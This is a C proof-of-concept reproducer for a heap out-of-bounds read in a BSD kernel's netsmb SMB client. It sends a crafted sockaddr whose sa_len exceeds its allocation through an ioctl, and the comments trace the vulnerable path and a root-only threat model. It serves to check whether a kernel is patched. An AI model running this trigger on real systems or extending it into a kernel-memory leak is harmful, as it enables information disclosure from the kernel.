DF-0600 / oob_read.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 | /* * DF-0600 — dup_sockaddr sa_len OOB read reproducer (root-only). * * The in-kernel SMB client (netsmb) builds a VC by: * nsmb_dev_ioctl SMBIOC_OPENSESSION * -> smb_usr_opensession (smb_usr.c) * -> smb_usr_vc2spec: spec->sap = smb_memdupin(ioc_server, ioc_svlen) * (smb_subr.c: allocates EXACTLY ioc_svlen bytes, copies ioc_svlen * user bytes in; NEVER cross-checked against sa->sa_len) * -> smb_sm_lookup -> smb_sm_lookupint (empty list => ENOENT) * -> smb_vc_create (smb_conn.c:462): * vcp->vc_paddr = dup_sockaddr(vcspec->sap); * (uipc_socket2.c:808: kmalloc(sa->sa_len); bcopy(sa, sa2, sa->sa_len) * -- trusts sa->sa_len UNCONDITIONALLY) * * If ioc_svlen < sa->sa_len, dup_sockaddr's bcopy reads (sa_len - ioc_svlen) * bytes past the smb_memdupin allocation => heap OOB read. The OOB bytes land * in vcp->vc_paddr and are reachable via the CONNADDREQ comparison oracle. * * sa_len is u_char (max 255) so the OOB is <= ~251 bytes, always within the * same slab page => silent leak (no panic) unless the source object happens to * sit within ~251 bytes of an unmapped page boundary. * * THREAT MODEL: /dev/nsmb* is created 0700 root:root (smb_dev.c:356) and the * netsmb module is not loaded by default (kldload is root-only). There is no * setuid helper on the guest. => UNREACHABLE by an unprivileged user; this is * a root->kernel defense-in-depth gap, not an unpriv->root escalation. * * This reproducer must run as root. It demonstrates that sa_len is NOT * validated on the unpatched kernel (the ioctl proceeds past the sa_len check * into the OOB dup_sockaddr bcopy and only fails later at smb_vc_connect), * whereas the fixed kernel rejects the bad sa_len with EINVAL immediately. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include "smb_dev.h" int main(int argc, char **argv) { setvbuf(stdout, NULL, _IONBF, 0); /* unbuffered so output survives a crash */ struct smbioc_ossn ssn; /* * Crafted source sockaddr: only 4 bytes are really allocated/owned * (ioc_svlen = 4), but the first byte (sa_len) claims 255. dup_sockaddr * will therefore bcopy 255 bytes out of the 4-byte allocation -> * 251-byte heap OOB read. */ unsigned char fake_sa[4]; int fd, rc; /* Optionally allow a smaller sa_len to show partial OOB too. */ int req_sa_len = 255; if (argc > 1) req_sa_len = atoi(argv[1]); if (req_sa_len < 2 || req_sa_len > 255) { fprintf(stderr, "sa_len must be 2..255\n"); return 2; } int svlen = 4; /* the actual allocation size (ioc_svlen) */ memset(fake_sa, 0, sizeof(fake_sa)); fake_sa[0] = (unsigned char)req_sa_len; /* sa_len -- the lie */ fake_sa[1] = AF_UNSPEC; /* sa_family */ /* /dev/nsmb is the autoclone master (smb_dev.c:356); opening it * clones a fresh /dev/nsmbN minor via nsmbclone(). */ fd = open("/dev/nsmb", O_RDWR); if (fd < 0) { fprintf(stderr, "open /dev/nsmb: %s (need root + smbfs " "module loaded)\n", strerror(errno)); return 2; } memset(&ssn, 0, sizeof(ssn)); ssn.ioc_opt = SMBVOPT_CREATE; /* 0x0001: force smb_vc_create */ ssn.ioc_server = (struct sockaddr *)(void *)fake_sa; ssn.ioc_svlen = svlen; /* 4-byte allocation */ ssn.ioc_timeout = 1; ssn.ioc_retrycount = 0; strlcpy(ssn.ioc_user, "oob", sizeof(ssn.ioc_user)); strlcpy(ssn.ioc_localcs, "UTF-8", sizeof(ssn.ioc_localcs)); strlcpy(ssn.ioc_servercs, "UTF-8", sizeof(ssn.ioc_servercs)); printf("[*] ioc_svlen=%d, sa_len=%u (OOB read of %d bytes)\n", ssn.ioc_svlen, fake_sa[0], fake_sa[0] - ssn.ioc_svlen); printf("[*] SMBIOC_OPENSESSION ...\n"); rc = ioctl(fd, SMBIOC_OPENSESSION, &ssn); printf("[*] ioctl returned rc=%d errno=%d (%s)\n", rc, errno, rc ? strerror(errno) : "success"); /* * Unpatched kernel: rc=-1, errno != EINVAL (the path proceeds past the * sa_len check, does the OOB bcopy in dup_sockaddr, then fails * later at smb_vc_connect / iconv). Typical: ENETUNREACH / EHOSTUNREACH * / EACCES / ENOMEM or similar. The OOB read already happened. * Fixed kernel: rc=-1, errno == EINVAL (sa_len validation rejects it). */ if (rc == -1 && errno == EINVAL) { printf("[+] EINVAL on bad sa_len -> sa_len IS validated (FIXED kernel)\n"); } else if (rc == -1) { printf("[!] non-EINVAL error -> sa_len NOT validated (BUG: OOB " "read of %d bytes occurred in dup_sockaddr)\n", fake_sa[0] - ssn.ioc_svlen); } else { printf("[!] ioctl succeeded unexpectedly\n"); } close(fd); return 0; } |